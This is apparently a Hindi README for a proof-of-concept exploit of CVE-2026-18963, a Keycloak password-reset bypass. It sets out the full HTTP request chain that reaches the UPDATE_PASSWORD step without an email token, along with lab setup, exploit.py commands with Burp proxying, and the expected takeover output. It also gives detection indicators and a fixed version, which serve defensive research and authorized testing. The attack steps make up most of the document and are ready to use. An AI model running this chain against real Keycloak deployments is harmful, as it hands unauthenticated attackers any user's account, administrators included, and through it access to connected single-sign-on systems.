
प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट CVE-2026-18963 के लिए, एक गंभीर Keycloak reset-credentials बाईपास जो बिना प्रमाणीकरण के खाता अधिग्रहण सक्षम करता है। इसमें लैब सेटअप, डिटेक्शन मार्गदर्शन, और अधिकृत परीक्षण के लिए रेमेडिएशन चरण शामिल हैं।
Keycloak के reset-credentials फ़्लो में अप्रमाणित अकाउंट टेकओवर। एक हमलावर जो केवल username/email जानता है, वह किसी भी उपयोगकर्ता का पासवर्ड रीसेट कर सकता है — एडमिन सहित — बिना कभी सत्यापन ईमेल प्राप्त किए।
यह प्रूफ़ ऑफ़ कॉन्सेप्ट पूर्णतः शैक्षिक उद्देश्यों, रक्षात्मक अनुसंधान, डिटेक्शन इंजीनियरिंग, और अधिकृत सुरक्षा परीक्षण के लिए प्रकाशित किया गया है।
पूर्ण कथन के लिए DISCLAIMER.md देखें।
| CVE | CVE-2026-18963 |
| गंभीरता | Critical — CVSS 3.1 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| कमज़ोरी | CWE-640 — कमज़ोर पासवर्ड रिकवरी तंत्र |
| प्रभावित | Keycloak < 26.7.2 (अपस्ट्रीम)। साथ ही RH बिल्ड स्ट्रीम जो 26.6.6 / 26.4.15 बंडलों के माध्यम से ठीक किए गए |
| ठीक किया गया | Keycloak 26.7.2 (PR #51844) |
| पूर्व-शर्तें | रियल्म पर Forgot password (reset credentials) सक्षम — जो डिफ़ॉल्ट है |
| प्रभाव | किसी भी उपयोगकर्ता (रियल्म एडमिन सहित) का पूर्ण अकाउंट टेकओवर → IdP समझौता + पार्श्व SSO पहुँच |
पासवर्ड-रीसेट (reset-credentials) फ़्लो सामान्यतः आपको नया पासवर्ड सेट करने से पहले खाता स्वामी को ईमेल किए गए लिंक पर क्लिक करने के लिए बाध्य करता है। दो दोष हमलावर को उस जाँच को पूरी तरह से छोड़ने देते हैं:
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" को execution ID तक सीमित नहीं रखता। फ़्लो में पुनः प्रवेश करने पर प्रमाणीकरण सत्र भ्रमित/पुरानी स्थिति में रह जाता है।ResetCredentialEmail.action() ACTION_TOKEN_USER_ID को सत्यापित किए बिना context.success() को कॉल करता है (अर्थात् यह पुष्टि किए बिना कि ईमेल किया गया एक्शन टोकन वास्तव में उपभोग किया गया था)।इन्हें श्रृंखलाबद्ध करने से प्रमाणीकरण सत्र सीधे किसी भी मनमाने उपयोगकर्ता के लिए UPDATE_PASSWORD चरण तक पहुँच जाता है, बिना किसी ईमेल की आवश्यकता के।
GET /auth (client_id=account) ── login page (has "Forgot password?")
GET /login-actions/reset-credentials … ── choose-user form
POST …reset-credentials tryAnotherWay=on ── bug #1: enter "Try Another Way" selector
POST …reset-credentials username=<victim> ── select user via selector
GET …/restart … ── refresh session state
GET /login-actions/reset-credentials … ── re-enter → STALE selector (corrupted state)
POST …reset-credentials username=<victim> ── bug #2: jumps to UPDATE_PASSWORD (no token!)
POST /login-actions/required-action?execution=UPDATE_PASSWORD
password-new=…&password-confirm=… ── 302 → password changed → TAKEOVER
विस्तृत पैच diff के लिए docs/ROOTCAUSE.md देखें।
आपको Docker और requests के साथ Python 3 की आवश्यकता होगी।
# 1) Spin up a vulnerable Keycloak + demo realm/user (any version < 26.7.2)
./run_lab.sh # uses keycloak/keycloak:26.5.0
# 2) Run the exploit against the demo 'victim' user
pip install requests
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!'
अपेक्षित पूँछ:
[7] *** update-password form served WITHOUT token ***
[8] set-password -> HTTP 302
[+] CVE-2026-18963 EXPLOITED. Login: victim / Pwned-2026!
फिर takeover की पुष्टि करने के लिए victim / Pwned-2026! के रूप में लॉग इन करें।
KC_TAG=26.7.2 ./run_lab.sh
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!'
# stops early — the update-password form is never served
python3 exploit.py --base URL --realm REALM --victim USER --new-pass PASS [options]
--base Keycloak base URL, e.g. http://127.0.0.1:8080
--realm target realm (default: master)
--client public client without PKCE (default: account)
--victim victim username or email
--new-pass password to set
--proxy route through a proxy, e.g. http://127.0.0.1:8081 (Burp)
-k skip TLS verification
प्रत्येक HTTP प्रतिक्रिया का निरीक्षण के लिए ./dump/ में लेखन किया जाता है।
Keycloak पहले से ही 8080 का उपयोग करता है, इसलिए Burp के लिसनर को किसी अन्य पोर्ट पर इंगित करें (जैसे 8081):
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!' \
--proxy http://127.0.0.1:8081
Burp Repeater के लिए रॉ अनुरोध श्रृंखला
requests/burp-chain.txt में है।
ऐसे पासवर्ड परिवर्तन की तलाश करें जो उसी प्रमाणीकरण सत्र में ईमेल सत्यापन से पहले नहीं हुआ हो:
VERIFY_EMAIL / EXECUTE_ACTION_TOKEN के बिना एक UPDATE_PASSWORD इवेंट।tryAnotherWay=on ले जाने वाले reset-credentials अनुरोधों का झुंड।tab_id के लिए login-actions/reset-credentials के कई बार पुनः प्रवेश।श्रृंखला की पुष्टि सार्वजनिक Keycloak पैच (PR #51844) और सामुदायिक राइट-अप के विरुद्ध की गई है।
MIT © red-darkin — केवल शैक्षिक और अधिकृत परीक्षण उपयोग के लिए।